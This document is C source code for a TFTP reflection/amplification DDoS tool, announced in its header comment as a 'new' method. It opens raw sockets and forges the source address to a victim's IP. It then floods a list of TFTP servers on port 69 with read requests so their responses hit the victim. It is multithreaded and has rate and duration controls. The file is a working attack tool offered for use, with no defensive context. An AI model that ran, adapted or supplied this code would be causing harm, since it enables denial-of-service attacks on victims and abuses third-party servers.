text: /* NEW TFTP DDoS AMPLIFICATION METHOD. */
  
  #include <time.h>
  #include <pthread.h>
  #include <unistd.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <sys/socket.h>
  #include <netinet/ip.h>
  #include <netinet/udp.h>
  #include <arpa/inet.h>
  #define MAX_PACKET_SIZE 8192
  #define PHI 0x9e3779b9
  static uint32_t Q[4096], c = 362436;
  struct list
  {
  	struct sockaddr_in data;
  	struct list *next;
  	struct list *prev;
  };
  struct list *head;
  volatile int tehport;
  volatile int limiter;
  volatile unsigned int pps;
  volatile unsigned int sleeptime = 100;
  struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  void init_rand(uint32_t x)
  {
  	int i;
  	Q[0] = x;
  	Q[1] = x + PHI;
  	Q[2] = x + PHI + PHI;
  	for (i = 3; i < 4096; i++)
  	{
  	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  	}
  }
  uint32_t rand_cmwc(void)
  {
  	uint64_t t, a = 18782LL;
  	static uint32_t i = 4095;
  	uint32_t x, r = 0xfffffffe;
  	i = (i + 1) & 4095;
  	t = a * Q[i] + c;
  	c = (t >> 32);
  	x = t + c;
  	if (x < c) {
  	x++;
  	c++;
  	}
  	return (Q[i] = r - x);
  }
  unsigned short csum (unsigned short *buf, int nwords)
  {
  	unsigned long sum = 0;
  	for (sum = 0; nwords > 0; nwords--)
  	sum += *buf++;
  	sum = (sum >> 16) + (sum & 0xffff);
  	sum += (sum >> 16);
  	return (unsigned short)(~sum);
  }
  void setup_ip_header(struct iphdr *iph)
  {
  	iph->ihl = 5;
  	iph->version = 4;
  	iph->tos = 0;
  	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
  	iph->id = htonl(54321);
  	iph->frag_off = 0;
  	iph->ttl = MAXTTL;
  	iph->protocol = IPPROTO_UDP;
  	iph->check = 0;
  	iph->saddr = inet_addr("192.168.3.100");
  }
  void setup_udp_header(struct udphdr *udph)
  {
  	udph->source = htons(5678);
  	udph->dest = htons(69);
  	udph->check = 0;
  	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", 14);
  	udph->len=htons(sizeof(struct udphdr) + 14);
  }
  void *flood(void *par1)
  {
  	struct thread_data *td = (struct thread_data *)par1;
  	char datagram[MAX_PACKET_SIZE];
  	struct iphdr *iph = (struct iphdr *)datagram;
  	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  	struct sockaddr_in sin = td->sin;
  	struct  list *list_node = td->list_node;
  	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  	if(s < 0){
  	fprintf(stderr, "Could not open raw socket.\n");
  	exit(-1);
  	}
  	init_rand(time(NULL));
  	memset(datagram, 0, MAX_PACKET_SIZE);
  	setup_ip_header(iph);
  	setup_udp_header(udph);
  	udph->source = htons(rand() % 65535 - 1026);
  	iph->saddr = sin.sin_addr.s_addr;
  	iph->daddr = list_node->data.sin_addr.s_addr;
  	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  	int tmp = 1;
  	const int *val = &tmp;
  	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  	exit(-1);
  	}
  	init_rand(time(NULL));
  	register unsigned int i;
  	i = 0;
  	while(1){
  		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  		list_node = list_node->next;
  		iph->daddr = list_node->data.sin_addr.s_addr;
  		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  		
  		pps++;
  		if(i >= limiter)
  		{
  			i = 0;
  			usleep(sleeptime);
  		}
  		i++;
  	}
  }
  int main(int argc, char *argv[ ])
  {
  	if(argc < 6){
  	fprintf(stderr, "Invalid parameters!\n");
  	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  		exit(-1);
  	}
  	srand(time(NULL));
  	int i = 0;
  	head = NULL;
  	fprintf(stdout, "Setting up sockets...\n");
  	int max_len = 128;
  	char *buffer = (char *) malloc(max_len);
  	buffer = memset(buffer, 0x00, max_len);
  	int num_threads = atoi(argv[4]);
  	int maxpps = atoi(argv[5]);
  	limiter = 0;
  	pps = 0;
  	int multiplier = 20;
  	FILE *list_fd = fopen(argv[3],  "r");
  	while (fgets(buffer, max_len, list_fd) != NULL) {
  		if ((buffer[strlen(buffer) - 1] == '\n') ||
  				(buffer[strlen(buffer) - 1] == '\r')) {
  			buffer[strlen(buffer) - 1] = 0x00;
  			if(head == NULL)
  			{
  				head = (struct list *)malloc(sizeof(struct list));
  				bzero(&head->data, sizeof(head->data));
  				head->data.sin_addr.s_addr=inet_addr(buffer);
  				head->next = head;
  				head->prev = head;
  			} else {
  				struct list *new_node = (struct list *)malloc(sizeof(struct list));
  				memset(new_node, 0x00, sizeof(struct list));
  				new_node->data.sin_addr.s_addr=inet_addr(buffer);
  				new_node->prev = head;
  				new_node->next = head->next;
  				head->next = new_node;
  			}
  			i++;
  		} else {
  			continue;
  		}
  	}
  	struct list *current = head->next;
  	pthread_t thread[num_threads];
  	struct sockaddr_in sin;
  	sin.sin_family = AF_INET;
  	sin.sin_addr.s_addr = inet_addr(argv[1]);
  	struct thread_data td[num_threads];
  	for(i = 0;i<num_threads;i++){
  		td[i].thread_id = i;
  		td[i].sin= sin;
  		td[i].list_node = current;
  		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  	}
  	fprintf(stdout, "Starting flood...\n");
  	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  	{
  		usleep((1000/multiplier)*1000);
  		if((pps*multiplier) > maxpps)
  		{
  			if(1 > limiter)
  			{
  				sleeptime+=100;
  			} else {
  				limiter--;
  			}
  		} else {
  			limiter++;
  			if(sleeptime > 25)
  			{
  				sleeptime-=25;
  			} else {
  				sleeptime = 0;
  			}
  		}
  		pps = 0;
  	}
  	return 0;
  }
  